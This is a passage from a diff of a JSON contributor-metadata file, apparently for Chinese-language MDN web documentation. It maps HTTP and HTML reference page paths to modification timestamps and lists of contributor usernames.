"chanvin", - "sutaojie", - "haoliangwu", - "Axue", - "ldwformat" + "WayneCui" ] }, - "Web/HTML/Quirks_Mode_and_Standards_Mode": { - "modified": "2020-01-30T04:57:28.634Z", + "Web/HTTP/Headers/Expect-CT": { + "modified": "2020-10-15T22:03:02.147Z", "contributors": [ - "RainSlide", - "Kacoo", - "chrisdavidmills", - "iigmir", - "anfGG8G0G8" + "ariable" ] }, - "Web/HTML/Reference": { - "modified": "2019-09-09T07:23:44.694Z", + "Web/HTTP/Headers/Expires": { + "modified": "2020-10-15T21:50:45.740Z", "contributors": [ - "SphinxKnight", - "wbamberg", - "FredWe", - "Breezewish" + "stuxu", + "Fiag", + "marsorsun", + "sunyanan891114", + "Simba.Lin", + "paranoidjk" ] }, - "Web/HTML/Supported_media_formats": { - "modified": "2019-07-03T23:42:04.646Z", + "Web/HTTP/Headers/Feature-Policy": { + "modified": "2020-10-15T22:18:06.274Z", "contributors": [ - "l613", - "zodiac-xl", - "ziyunfei" + "roostinghawk" ] }, - "Web/HTML/Using_the_application_cache": { - "modified": "2019-10-29T05:43:20.065Z", + "Web/HTTP/Headers/Feature-Policy/autoplay": { + "modified": "2020-10-15T22:18:28.072Z", "contributors": [ - "7NZ", - "xgqfrms-GitHub", - "eforegist", - "liuzeyafzy", - "nianiaJR", - "shajiquan", - "hdwills", - "teoli", - "fsy0718", - "sunnylost", - "karsa.si" + "baijingfeng" ] }, - "Web/HTTP": { - "modified": "2020-08-27T09:08:49.830Z", + "Web/HTTP/Headers/Feature-Policy/camera": { + "modified": "2020-10-15T22:26:24.357Z", "contributors": [ - "Lsnsh", - "dujun", - "RainSlide", - "taoyouh", - "shengjieli", - "userand", - "syt-honey", - "Pengfei", - "zhuangyin", - "JamieYang", - "xuxun", - "Ende93", - "xgqfrms-GitHub", - "sunnylost", - "cissoid", - "TomasRan", - "DreamerKing", - "ziyunfei" + "K.Pen" ] }, - "Web/HTTP/Access_control_CORS": { - "modified": "2020-11-30T22:27:21.749Z", + "Web/HTTP/Headers/Forwarded": { + "modified": "2019-03-23T22:11:01.048Z", "contributors": [ - "seawaywen", - "fuweichin", - "jsonz1993", - "shens3", - "chanvin", - "SirnoChan", - "skywalker_z", - "Noodles006", - "yantong", - "hansnow", - "leoxiao2012", - "kunyaoxu", - "zjffun", - "show-rosarugosa", - "hnzxmutex", - "miuchan", - "ChenShihao", - "alvan", - "BobGreen", - "jiladahe1997", - "ErCargo", - "s1len0eye", - "zhang-hongwei", - "zthxxx", - "NineRec", - "recursion", - "libmw", - "bestvow", - "JuFoFu", - "xgqfrms-GitHub", - "bigZ-again", - "yuankunzhang", - "FideoJ", - "AlenQi", - "Ende93", - "wanglijie", - "yumingzhe", - "mygaochunming", - "Marcia_gm", - "xgqfrms", - "ybwdaisy", - "fjywan", - "holynewbie", - "gqqnbig", - "EdwardStudy", - "ssjssh", - "Kevin-Xi", - "8427003", - "Meteormatt", - "OOP-Code-Bunny", - "CManLH", - "qiumaoyuan" + "ujsxn", + "WayneCui" ] }, - "Web/HTTP/Authentication": { - "modified": "2020-01-19T22:05:27.998Z", + "Web/HTTP/Headers/From": { + "modified": "2020-10-15T21:54:57.725Z", "contributors": [ - "cekingLu", - "gsxuan", - "zjffun", - "fanjieqi", - "rianma", - "wangpin", - "crper", - "WayneCui", - "GeJusdot", - "thomastao0215" + "LiquidLiquids", + "WayneCui" ] }, - "Web/HTTP/Basics_of_HTTP": { - "modified": "2020-05-07T23:19:31.676Z", + "Web/HTTP/Headers/Host": { + "modified": "2020-10-15T21:51:42.418Z", "contributors": [ - "Filon", - "HardcorePhysician", - "Yayure", - "695919451", - "BobGreen", - "magiclyde", - "cissoid" + "xinu", + "chentao106", + "wallen", + "crper", + "shinyoo" ] }, - "Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs": { - "modified": "2019-03-23T22:18:43.282Z", + "Web/HTTP/Headers/If-Match": { + "modified": "2020-10-15T21:55:00.013Z", "contributors": [ - "zqyue", - "Ende93", - "xgqfrms-GitHub", - "ziyunfei", - "chaos_zhang" + "ShiChenCong", + "Bayes", + "WayneCui" ] }, - "Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP": { - "modified": "2020-02-20T03:41:08.272Z", + "Web/HTTP/Headers/If-Modified-Since": { + "modified": "2020-10-15T21:55:01.333Z", "contributors": [ - "Babyfaceqian", - "XFJGitHub", - "lc-soft", - "BobGreen", - "enjolras1205", - "zihengCat", - "GuoShuai", - "Haruhi", - "huangchanghuan", - "keifergu", - "JsonLi", - "WeijieZhu" + "wangtongchao", + "WayneCui" ] }, - "Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web": { - "modified": "2019-05-06T05:35:10.899Z", + "Web/HTTP/Headers/If-None-Match": { + "modified": "2020-10-15T21:54:59.997Z", "contributors": [ - "wolfzZ", - "heyv5", - "springapple", - "Wendy_Love", - "yuankunzhang", - "little-tomorrow", - "DreamerKing" + "WayneCui" ] }, - "Web/HTTP/Basics_of_HTTP/MIME_types": { - "modified": "2020-11-04T00:16:29.009Z", + "Web/HTTP/Headers/If-Range": { + "modified": "2020-10-15T21:51:54.830Z", "contributors": [ - "lujjjh", - "andysongs", - "rascalquan", - "BobGreen", - "NewbieAndy", - "zhangchen", - "xgqfrms-GitHub", - "w11th", - "YuriTu" + "Froguard", + "LiuTong" ] }, - "Web/HTTP/Basics_of_HTTP/MIME_types/Common_types": { - "modified": "2020-02-28T13:11:23.222Z", + "Web/HTTP/Headers/If-Unmodified-Since": { + "modified": "2020-10-15T21:54:37.820Z", "contributors": [ - "chrisdavidmills", - "RainSlide", - "qq58553442", - "sam-dingkang", - "xgqfrms-GitHub", - "choury", - "pasturn" + "WayneCui" ] }, - "Web/HTTP/Browser_detection_using_the_user_agent": { - "modified": "2019-03-23T22:26:23.825Z", + "Web/HTTP/Headers/Index": { + "modified": "2019-08-30T03:36:19.849Z", "contributors": [ - "xgqfrms-GitHub", - "konrumi", - "Leogh", - "jianyi1995" + "whuhyw" ] }, - "Web/HTTP/CORS/Errors": { - "modified": "2019-05-27T00:23:38.306Z", + "Web/HTTP/Headers/Keep-Alive": { + "modified": "2020-10-15T21:55:00.550Z", "contributors": [ - "waka3", - "nchevobbe", - "luna666", - "Sheppy" + "zhangchen", + "WayneCui" ] }, - "Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin": { - "modified": "2019-07-18T02:34:22.209Z", + "Web/HTTP/Headers/Large-Allocation": { + "modified": "2020-10-15T21:56:09.177Z", "contributors": [ - "PYGC", - "ty1921" + "wyapx", + "crper", + "shevacjs" ] }, - "Web/HTTP/CORS/Errors/CORSDidNotSucceed": { - "modified": "2019-07-29T07:01:42.837Z", + "Web/HTTP/Headers/Last-Modified": { + "modified": "2020-10-15T21:55:00.234Z", "contributors": [ - "crvdgc", - "levo2165", - "luna666" + "WayneCui" ] }, - "Web/HTTP/CORS/Errors/CORSDisabled": { - "modified": "2019-05-09T05:04:22.066Z", + "Web/HTTP/Headers/Link": { + "modified": "2020-10-15T22:20:52.111Z", "contributors": [ - "luna666" + "pangyujie" ] }, - "Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed": { - "modified": "2019-03-18T21:29:51.027Z", + "Web/HTTP/Headers/Location": { + "modified": "2020-10-15T21:54:51.524Z", "contributors": [ - "luna666" + "WayneCui" ] }, - "Web/HTTP/CORS/Errors/CORSMethodNotFound": { - "modified": "2019-08-27T04:22:52.153Z", + "Web/HTTP/Headers/Origin": { + "modified": "2020-10-15T21:53:11.797Z", "contributors": [ - "laingke" + "JasonJunJun", + "yuankunzhang" ] }, - "Web/HTTP/CORS/Errors/CORSMissingAllowOrigin": { - "modified": "2019-03-18T21:22:06.783Z", + "Web/HTTP/Headers/Pragma": { + "modified": "2020-10-15T21:54:59.607Z", "contributors": [ - "zhangchen", - "coderyyx" + "WayneCui" ] }, - "Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed": { - "modified": "2019-10-30T01:07:54.026Z", + "Web/HTTP/Headers/Proxy-Authenticate": { + "modified": "2019-03-23T22:10:44.148Z", "contributors": [ - "Fimreal" + "WayneCui" ] }, - "Web/HTTP/CORS/Errors/CORSNotSupportingCredentials": { - "modified": "2019-06-16T23:37:59.140Z", + "Web/HTTP/Headers/Proxy-Authorization": { + "modified": "2019-03-23T22:10:44.333Z", "contributors": [ - "feiyuerenhai" + "WayneCui" ] }, - "Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded": { - "modified": "2019-03-18T21:29:48.470Z", + "Web/HTTP/Headers/Public-Key-Pins": { + "modified": "2020-10-15T21:55:02.367Z", "contributors": [ - "luna666" + "shevacjs", + "WayneCui" ] }, - "Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed": { - "modified": "2019-03-18T21:17:44.250Z", + "Web/HTTP/Headers/Public-Key-Pins-Report-Only": { + "modified": "2020-10-15T22:04:11.647Z", "contributors": [ - "MinimalistYing" + "ujsxn", + "shevacjs" ] }, - "Web/HTTP/CORS/Errors/CORSRequestNotHttp": { - "modified": "2019-09-20T04:35:01.396Z", + "Web/HTTP/Headers/Range": { + "modified": "2020-10-15T21:54:38.123Z", "contributors": [ - "RainSlide", - "grape", - "xuyuehang", - "luna666" + "Meteormatt", + "WayneCui" ] }, - "Web/HTTP/CORS/Errors/CORS错误允许凭证": { - "modified": "2020-09-18T12:19:26.611Z", + "Web/HTTP/Headers/Referer": { + "modified": "2020-10-15T21:55:01.465Z", "contributors": [ - "Cooper-Kou" + "xiaozhaofu", + "yenshen", + "WayneCui" ] }, - "Web/HTTP/CSP": { - "modified": "2020-10-15T21:34:44.353Z", + "Web/HTTP/Headers/Referrer-Policy": { + "modified": "2020-10-15T21:54:58.993Z", "contributors": [ - "fanjieqi", - "phodal", - "ceido", - "jwhitlock", - "ldwformat", - "wang1dot0", - "WayneCui", - "xgqfrms-GitHub", - "zhang-quan-yi", - "hxl", - "zhi.lin", - "yuankunzhang", - "ziyunfei", - "Breezewish" + "gadflysu", + "WeihanLi", + "WayneCui" ] }, - "Web/HTTP/Caching_FAQ": { - "modified": "2020-07-01T23:23:40.319Z", + "Web/HTTP/Headers/Retry-After": { + "modified": "2020-10-15T21:54:59.380Z", "contributors": [ - "qnlz", - "xgqfrms", - "yqz0203", - "oppoffice", - "SAM.L", - "baijingfeng", - "YongzeYao", - "immortal-wm", - "YiBanCangBai", - "2585479524", - "fanjieqi", - "BobGreen", - "athena0304", - "dgeibi", - "cielsk", - "tianyuqingkong", - "xiaohp", - "tiancaiwuyue", - "hiyoushu", - "ch-zgh-1993", - "marsoln", - "wanglijie", - "xx1124961758", - "onedaywen", - "shengoo", - "sunnylost", - "followgiant", - "ziyunfei" + "WayneCui" ] }, - "Web/HTTP/Compression": { - "modified": "2019-06-20T00:32:44.768Z", + "Web/HTTP/Headers/Save-Data": { + "modified": "2020-10-15T22:21:57.010Z", "contributors": [ - "liangzhaorong", - "BobGreen", - "zhangchen", - "WayneCui" + "Mulan", + "fuxingZhang" ] }, - "Web/HTTP/Conditional_requests": { - "modified": "2019-09-19T06:11:16.911Z", + "Web/HTTP/Headers/Sec-Fetch-Dest": { + "modified": "2020-10-17T03:01:57.521Z", "contributors": [ - "leah_humlelu", - "Trendymen", - "xianweics", - "WayneCui" + "hebing0415", + "hellorayza" ] }, - "Web/HTTP/Configuring_servers_for_Ogg_media": { - "modified": "2019-12-27T03:08:09.838Z", + "Web/HTTP/Headers/Sec-Fetch-Mode": { + "modified": "2020-10-15T22:31:17.439Z", "contributors": [ - "Syaki" + "EbeRybDI", + "haolayo" ] }, - "Web/HTTP/Connection_management_in_HTTP_1.x": { - "modified": "2019-11-07T04:16:26.733Z", + "Web/HTTP/Headers/Sec-Fetch-Site": { + "modified": "2020-10-15T22:32:55.276Z", "contributors": [ - "woshiqiang1", - "Jack.Works", - "HardcorePhysician", - "jianglinghao", - "YiBanCangBai", - "guoshencheng", - "fanjieqi", - "athena0304", - "springapple", - "shaunlee" + "EbeRybDI" ] }, - "Web/HTTP/Content_negotiation": { - "modified": "2020-10-08T10:02:32.752Z", + "Web/HTTP/Headers/Sec-Fetch-User": { + "modified": "2020-10-15T22:32:45.194Z", "contributors": [ - "mh47838704", - "SunnyWind", - "lhc0101", - "WayneCui" + "EbeRybDI" ] }, - "Web/HTTP/Content_negotiation/Accept_默认值": { - "modified": "2019-03-18T21:35:18.474Z", + "Web/HTTP/Headers/Sec-WebSocket-Accept": { + "modified": "2020-10-15T22:11:54.497Z", "contributors": [ - "heekei" + "Greenstorm" ] }, - "Web/HTTP/Cookies": { - "modified": "2020-10-13T05:17:34.094Z", + "Web/HTTP/Headers/Server": { + "modified": "2020-10-15T21:54:58.617Z", "contributors": [ - "fzhyzamt", - "dake0805", - "RoXoM", - "ysqzhang", - "zh244135370", - "luvsunlight", - "mingzhang6", - "rascalquan", - "houyewei", - "huangyingjie", - "zihengCat", - "lc-soft", - "zhang-hongwei", "yenshen", - "keifergu", - "FideoJ", - "AlenQi", - "sintrb", - "jdk137", - "charlie" + "WayneCui" ] }, - "Web/HTTP/HTTP_Strict_Transport_Security": { - "modified": "2020-11-19T14:34:26.997Z", + "Web/HTTP/Headers/Server-Timing": { + "modified": "2020-10-15T22:22:26.582Z", "contributors": [ - "chrisdavidmills", - "sunbeams001", - "kidonng", - "Jack.Works", - "zhangzhen", - "ToBo", - "udo-china", - "zhangchen", - "little-tomorrow", - "Eward.song" + "Mulan", + "laingke" ] }, - "Web/HTTP/HTTP_response_codes": { - "modified": "2019-01-16T13:20:30.376Z", + "Web/HTTP/Headers/Set-Cookie": { + "modified": "2020-10-15T21:54:55.958Z", "contributors": [ - "ziyunfei" + "wenlonghuo", + "superATM", + "royIdoodle", + "WayneCui" ] }, - "Web/HTTP/Headers": { - "modified": "2020-05-20T02:33:50.716Z", + "Web/HTTP/Headers/Set-Cookie/SameSite": { + "modified": "2020-10-15T22:28:42.430Z", "contributors": [ - "spe-shun", - "cy234", - "c1er", - "Bayes", - "Jacksonary", - "rikkif", - "Weix", - "xgqfrms-GitHub", - "AlenQi", - "linzhixiong" + "EbeRybDI", + "tinaawang" ] }, - "Web/HTTP/Headers/Accept": { - "modified": "2020-10-15T21:50:50.340Z", + "Web/HTTP/Headers/Set-Cookie2": { + "modified": "2020-10-15T21:54:57.437Z", "contributors": [ - "xiaozhaofu", - "WayneCui", - "xgqfrms-GitHub", - "stevobm" + "WayneCui" ] }, - "Web/HTTP/Headers/Accept-CH": { - "modified": "2020-10-15T22:24:12.153Z", + "Web/HTTP/Headers/SourceMap": { + "modified": "2020-10-15T21:55:30.390Z", "contributors": [ - "xuhui98" + "Pada" ] }, - "Web/HTTP/Headers/Accept-CH-Lifetime": { - "modified": "2020-10-15T22:25:10.809Z", + "Web/HTTP/Headers/TE": { + "modified": "2020-10-15T21:54:38.379Z", "contributors": [ - "chen3feng" + "ujsxn", + "shevacjs", + "WayneCui" ] }, - "Web/HTTP/Headers/Accept-Charset": { - "modified": "2020-10-15T21:50:53.082Z", + "Web/HTTP/Headers/Timing-Allow-Origin": { + "modified": "2020-10-15T21:58:04.341Z", "contributors": [ - "shinken008", - "Dorllen", - "WayneCui", - "xgqfrms-GitHub" + "firesun", + "shevacjs" ] }, - "Web/HTTP/Headers/Accept-Encoding": { - "modified": "2020-10-15T21:53:10.909Z", + "Web/HTTP/Headers/Tk": { + "modified": "2019-03-23T22:07:59.446Z", "contributors": [ - "xiaozhaofu", - "WayneCui", - "felixwang-1989", - "yt449", - "xgqfrms-GitHub" + "WayneCui" ] }, - "Web/HTTP/Headers/Accept-Language": { - "modified": "2020-10-15T21:53:13.880Z", + "Web/HTTP/Headers/Trailer": { + "modified": "2020-10-15T21:54:41.193Z", "contributors": [ - "ran", - "RainSlide", - "WayneCui", - "yuankunzhang" + "yuankunzhang", + "WayneCui" ] }, - "Web/HTTP/Headers/Accept-Patch": { - "modified": "2020-10-15T22:19:49.009Z", + "Web/HTTP/Headers/Transfer-Encoding": { + "modified": "2020-10-15T21:54:37.943Z", "contributors": [ - "Sod-Momas" + "WayneCui" ] }, - "Web/HTTP/Headers/Accept-Ranges": { - "modified": "2020-10-15T21:54:15.134Z", + "Web/HTTP/Headers/Upgrade-Insecure-Requests": { + "modified": "2020-10-15T21:55:00.901Z", "contributors": [ - "Vincent-Hy", - "km-c", - "JianmingXia", - "crper", - "shevacjs" + "WayneCui" ] }, - "Web/HTTP/Headers/Access-Control-Allow-Credentials": { - "modified": "2020-10-15T21:51:29.367Z", + "Web/HTTP/Headers/User-Agent": { + "modified": "2020-10-15T21:55:01.835Z", "contributors": [ - "deping_chen", - "Bayes", - "xiasha", - "fscholz", - "crper", - "keqingrong", - "TiaossuP", - "tty4" + "RainSlide", + "zidian257", + "wangshi3", + "qwqmeow", + "AaronGod", + "WayneCui" ] }, - "Web/HTTP/Headers/Access-Control-Allow-Headers": { - "modified": "2020-10-15T21:54:48.443Z", + "Web/HTTP/Headers/User-Agent/Firefox": { + "modified": "2019-03-18T21:31:55.000Z", "contributors": [ - "GuoYaxiang", - "shadowkimi520", - "Soyaine", - "WayneCui" + "RainSlide", + "konrumi" ] }, - "Web/HTTP/Headers/Access-Control-Allow-Methods": { - "modified": "2020-10-15T21:54:49.842Z", + "Web/HTTP/Headers/Vary": { + "modified": "2020-10-15T21:53:14.511Z", + "contributors": [ + "swanf", + "WayneCui", + "ujsxn", + "newhuan" + ] + }, + "Web/HTTP/Headers/Via": { + "modified": "2020-10-15T21:54:55.047Z", "contributors": [ - "Jat", - "crper", "WayneCui" ] }, - "Web/HTTP/Headers/Access-Control-Allow-Origin": { - "modified": "2020-10-15T21:52:46.095Z", + "Web/HTTP/Headers/WWW-Authenticate": { + "modified": "2020-09-03T05:56:40.972Z", "contributors": [ - "TiaossuP", - "konrumi" + "EbeRybDI", + "zslucky" ] }, - "Web/HTTP/Headers/Access-Control-Expose-Headers": { - "modified": "2020-10-15T21:54:48.426Z", + "Web/HTTP/Headers/Warning": { + "modified": "2020-10-15T21:55:02.128Z", "contributors": [ - "lijsh", + "liaozhaonan", "WayneCui" ] }, - "Web/HTTP/Headers/Access-Control-Max-Age": { - "modified": "2020-10-15T21:54:52.194Z", + "Web/HTTP/Headers/X-Content-Type-Options": { + "modified": "2020-10-15T21:54:52.946Z", "contributors": [ - "zkerhcy", - "xiaozhaofu", - "jinliming2", - "crper", + "kidonng", + "kbyyd24", "WayneCui" ] }, - "Web/HTTP/Headers/Access-Control-Request-Headers": { - "modified": "2020-10-15T21:54:29.946Z", + "Web/HTTP/Headers/X-Forwarded-For": { + "modified": "2019-03-23T22:11:03.571Z", "contributors": [ - "xiaozhaofu", - "crper", - "WayneCui", - "xgqfrms-GitHub" + "WayneCui" ] }, - "Web/HTTP/Headers/Access-Control-Request-Method": { - "modified": "2020-10-15T21:54:31.833Z", + "Web/HTTP/Headers/X-Forwarded-Host": { + "modified": "2019-03-23T22:10:57.844Z", "contributors": [ - "xiaozhaofu", - "WayneCui", - "xgqfrms-GitHub" + "WayneCui" ] }, - "Web/HTTP/Headers/Age": { - "modified": "2020-10-15T21:54:37.562Z", + "Web/HTTP/Headers/X-Forwarded-Proto": { + "modified": "2019-03-23T22:11:05.199Z", "contributors": [ - "wangtongchao", - "fscholz", - "crper", + "hbbalfred", "WayneCui" ] }, - "Web/HTTP/Headers/Allow": { - "modified": "2019-03-23T22:14:32.513Z", + "Web/HTTP/Headers/X-XSS-Protection": { + "modified": "2020-10-15T21:53:06.446Z", "contributors": [ - "yuankunzhang" + "weibangtuo", + "kidonng", + "yenshen", + "WayneCui", + "oopsguy", + "xgqfrms-GitHub" ] }, - "Web/HTTP/Headers/Alt-Svc": { - "modified": "2020-10-15T22:12:25.895Z", + "Web/HTTP/Link_prefetching_FAQ": { + "modified": "2019-10-09T13:08:42.395Z", "contributors": [ - "liuhaoXD", - "Light.G" + "Yayure", + "vivaxy", + "iamyy", + "xgqfrms-GitHub" ] }, - "Web/HTTP/Headers/Authorization": { - "modified": "2019-03-23T22:11:31.823Z", + "Web/HTTP/Messages": { + "modified": "2020-04-19T05:44:17.609Z", "contributors": [ - "Bayes", - "crper", - "WayneCui" + "liangmuyang", + "HardcorePhysician", + "keifergu", + "ziyunfei", + "gbcwbz", + "JsonLi" ] }, - "Web/HTTP/Headers/Cache-Control": { - "modified": "2020-10-15T21:50:34.341Z", + "Web/HTTP/Methods": { + "modified": "2020-10-15T21:49:13.002Z", "contributors": [ - "kidonng", - "woshiqiang1", - "DanielCui", - "taoyouh", - "tenghuanhe", - "ngulee", - "kaliExist", - "wangtongchao", - "marsorsun", - "cnc233", - "codevvvv9", - "pearzl", - "tianyuqingkong", - "zliy", - "NatureFeng", - "schickal", + "yzb161114", + "zhuangyin", + "xgqfrms-GitHub", "fscholz", - "shaunsxj", - "paranoidjk", - "visten" + "cissoid" ] }, - "Web/HTTP/Headers/Clear-Site-Data": { - "modified": "2020-10-15T22:07:13.779Z", + "Web/HTTP/Methods/CONNECT": { + "modified": "2020-10-15T21:55:02.299Z", "contributors": [ - "bershanskiy", - "wangtongchao" + "champkeh", + "WayneCui" ] }, - "Web/HTTP/Headers/Connection": { - "modified": "2020-10-15T21:51:42.086Z", + "Web/HTTP/Methods/DELETE": { + "modified": "2020-10-15T21:54:31.457Z", "contributors": [ - "zhuguibiao", - "ujsxn", - "shinyoo" + "fnjoe", + "yzweb2018", + "horsefaced", + "Ende93", + "WayneCui", + "xgqfrms-GitHub" ] }, - "Web/HTTP/Headers/Content-Disposition": { - "modified": "2020-11-15T00:23:13.412Z", + "Web/HTTP/Methods/GET": { + "modified": "2020-10-15T21:49:15.328Z", "contributors": [ - "Alan-Liang", - "xiaozhaofu", - "WayneCui", - "icaoweiwei", - "JavacPro" + "joy-yu", + "Ende93", + "fscholz", + "cissoid" ] }, - "Web/HTTP/Headers/Content-Encoding": { - "modified": "2020-10-15T21:54:51.398Z", + "Web/HTTP/Methods/HEAD": { + "modified": "2020-10-15T21:49:15.693Z", "contributors": [ - "DynamicAnt", - "WayneCui" + "liveabean", + "iugo", + "fscholz", + "horsefaced", + "cissoid" ] }, - "Web/HTTP/Headers/Content-Language": { - "modified": "2020-10-15T21:54:49.923Z", + "Web/HTTP/Methods/OPTIONS": { + "modified": "2020-10-15T21:53:13.191Z", "contributors": [ - "HankXu", - "yuantongkang", - "WayneCui" + "safarishi", + "yuankunzhang" ] }, - "Web/HTTP/Headers/Content-Length": { - "modified": "2020-10-15T21:54:51.554Z", + "Web/HTTP/Methods/PATCH": { + "modified": "2019-03-23T22:11:06.658Z", "contributors": [ - "rascalquan", + "Ende93", "WayneCui" ] }, - "Web/HTTP/Headers/Content-Location": { - "modified": "2020-10-15T21:54:51.676Z", + "Web/HTTP/Methods/POST": { + "modified": "2020-10-15T21:49:12.507Z", "contributors": [ - "WayneCui" + "weapon-x", + "cracdic", + "wangtongchao", + "mySoul", + "shellphon", + "fscholz", + "cissoid" ] }, - "Web/HTTP/Headers/Content-Range": { - "modified": "2020-10-15T21:54:39.510Z", + "Web/HTTP/Methods/PUT": { + "modified": "2020-10-15T21:54:38.885Z", "contributors": [ + "lnh", + "maicss", "WayneCui" ] }, - "Web/HTTP/Headers/Content-Security-Policy": { - "modified": "2020-10-15T21:51:40.481Z", + "Web/HTTP/Methods/TRACE": { + "modified": "2020-10-15T22:06:09.943Z", "contributors": [ - "xiao11lang", - "hq5544", - "SphinxKnight", - "lowerpierman", - "taoyouh", - "imba-tjd", - "lvgg3271", - "alan199355", - "anchen", - "9ii", - "Forbidden", - "crper", - "lcw0622", - "SuunZhu" + "chenaptx", + "fs523577192", + "ppphp" ] }, - "Web/HTTP/Headers/Content-Security-Policy-Report-Only": { - "modified": "2020-10-15T21:55:30.073Z", + "Web/HTTP/Overview": { + "modified": "2020-11-10T09:12:40.960Z", "contributors": [ - "Pada" + "pocketdr", + "bkuke", + "hehe1111", + "Umryuan", + "yuyuanqiu", + "psaren", + "wakaoniganma", + "BobGreen", + "hiyoushu", + "LuoYun", + "RayJune", + "Akiq2016", + "zihengCat", + "usernameisMan", + "Ende93", + "w11th", + "joezheng", + "MagicLee" ] }, - "Web/HTTP/Headers/Content-Security-Policy/base-uri": { - "modified": "2020-10-15T21:56:06.256Z", + "Web/HTTP/Protocol_upgrade_mechanism": { + "modified": "2020-11-12T12:36:28.458Z", "contributors": [ - "SphinxKnight", - "WayneCui" + "yan647", + "Xiaosha61", + "mayunmeiyouming", + "nientsu", + "raunyuyuan", + "wc5858" ] }, - "Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content": { - "modified": "2020-10-15T21:56:06.231Z", + "Web/HTTP/Proxy_servers_and_tunneling": { + "modified": "2020-08-19T02:44:17.258Z", "contributors": [ - "SphinxKnight", - "WayneCui" + "SunnyWind", + "0229xiang", + "teoli" ] }, - "Web/HTTP/Headers/Content-Security-Policy/child-src": { - "modified": "2020-10-15T22:22:07.630Z", + "Web/HTTP/Public_Key_Pinning": { + "modified": "2020-10-15T22:15:40.587Z", "contributors": [ - "SphinxKnight", - "1930082875" + "Yayure" ] }, - "Web/HTTP/Headers/Content-Security-Policy/connect-src": { - "modified": "2020-10-15T22:04:24.950Z", + "Web/HTTP/Range_requests": { + "modified": "2019-03-23T22:10:18.914Z", "contributors": [ - "SphinxKnight", - "shevacjs" + "huangtt", + "heyv5", + "warmilk", + "asurin", + "WayneCui" ] }, - "Web/HTTP/Headers/Content-Security-Policy/default-src": { - "modified": "2020-10-15T21:55:35.542Z", + "Web/HTTP/Redirections": { + "modified": "2020-06-22T12:27:42.624Z", "contributors": [ - "SphinxKnight", - "eachcan", + "RoXoM", + "BobGreen", "shevacjs", - "Forbidden", + "yenshen", "WayneCui", - "EEord" + "ziyunfei", + "mushang11", + "zhi.lin", + "ZhongyiChen" ] }, - "Web/HTTP/Headers/Content-Security-Policy/font-src": { - "modified": "2020-10-15T22:11:53.390Z", + "Web/HTTP/Resources_and_URIs": { + "modified": "2019-09-05T00:27:21.660Z", "contributors": [ - "SphinxKnight", - "eachcan" + "ran" ] }, - "Web/HTTP/Headers/Content-Security-Policy/form-action": { - "modified": "2020-10-15T22:20:11.267Z", + "Web/HTTP/Resources_and_specifications": { + "modified": "2019-03-23T22:14:32.179Z", "contributors": [ - "SphinxKnight", - "feiyuerenhai" + "ppphp", + "shevacjs", + "yuankunzhang" ] }, - "Web/HTTP/Headers/Content-Security-Policy/frame-ancestors": { - "modified": "2020-10-15T21:56:28.759Z", + "Web/HTTP/Session": { + "modified": "2019-08-30T04:49:50.525Z", "contributors": [ - "SphinxKnight", - "ldwformat" + "HardcorePhysician", + "2585479524", + "zihengCat", + "zhuangyin", + "keifergu", + "cissoid" ] }, - "Web/HTTP/Headers/Content-Security-Policy/report-to": { - "modified": "2020-10-15T22:04:25.324Z", + "Web/HTTP/Status": { + "modified": "2020-10-15T21:47:25.564Z", "contributors": [ - "SphinxKnight", - "shevacjs" + "kendalbaba8", + "sideshowbarker", + "lesikolerina23", + "bifan", + "zhongjunyao", + "cznno", + "skylinebin", + "Opportunity", + "sluggishpj", + "Riverside", + "NowTime", + "konantian", + "PWAEZQS", + "corele", + "x1zbin", + "Zeng", + "teaist", + "zhuangyin", + "change-hdb", + "Geniusning", + "fscholz", + "fuchao2012" ] }, - "Web/HTTP/Headers/Content-Security-Policy/require-sri-for": { - "modified": "2020-10-15T22:04:29.993Z", + "Web/HTTP/Status/100": { + "modified": "2020-10-15T21:49:13.185Z", "contributors": [ - "SphinxKnight", - "shevacjs" + "fscholz", + "cissoid" ] }, - "Web/HTTP/Headers/Content-Security-Policy/sandbox": { - "modified": "2020-10-15T22:18:49.969Z", + "Web/HTTP/Status/101": { + "modified": "2020-07-28T20:14:16.827Z", "contributors": [ - "SphinxKnight", - "Syclover-u2400" + "rockhamx", + "xiazhe", + "WayneCui" ] }, - "Web/HTTP/Headers/Content-Security-Policy/script-src-elem": { - "modified": "2020-10-15T22:32:24.500Z", + "Web/HTTP/Status/103": { + "modified": "2020-10-15T22:20:13.143Z", "contributors": [ - "davidguhao" + "TsingJyujing" ] }, - "Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests": { - "modified": "2020-10-15T22:04:14.644Z", + "Web/HTTP/Status/200": { + "modified": "2020-10-15T21:52:50.809Z", "contributors": [ - "SphinxKnight", - "shevacjs" + "Yang_Hanlin", + "Limbo1223", + "yenshen", + "doterlin", + "mojiajuzi" ] }, - "Web/HTTP/Headers/Content-Security-Policy/worker-src": { - "modified": "2020-10-15T22:30:56.058Z", - "contributors": [ - "oyyunttt" - ] - }, - "Web/HTTP/Headers/Content-Type": { - "modified": "2020-10-15T21:50:48.235Z", - "contributors": [ - "ZL1019", - "kadoufall", - "WayneCui", - "xgqfrms-GitHub", - "wanhh" - ] - }, - "Web/HTTP/Headers/Cookie": { - "modified": "2020-10-15T21:54:53.599Z", + "Web/HTTP/Status/201": { + "modified": "2020-10-15T21:54:40.492Z", "contributors": [ + "Dante_Zzzz", "WayneCui" ] }, - "Web/HTTP/Headers/Cookie2": { - "modified": "2020-10-15T21:54:52.521Z", + "Web/HTTP/Status/202": { + "modified": "2019-03-23T22:10:36.745Z", "contributors": [ "WayneCui" ] }, - "Web/HTTP/Headers/Cross-Origin-Embedder-Policy": { - "modified": "2020-10-15T22:33:37.678Z", + "Web/HTTP/Status/203": { + "modified": "2019-03-23T22:10:30.257Z", "contributors": [ - "jguo0118", - "hellorayza" + "WayneCui" ] }, - "Web/HTTP/Headers/Cross-Origin-Resource-Policy": { - "modified": "2020-10-15T22:17:29.651Z", + "Web/HTTP/Status/204": { + "modified": "2020-10-15T21:51:39.388Z", "contributors": [ - "NightKing_hmsf" + 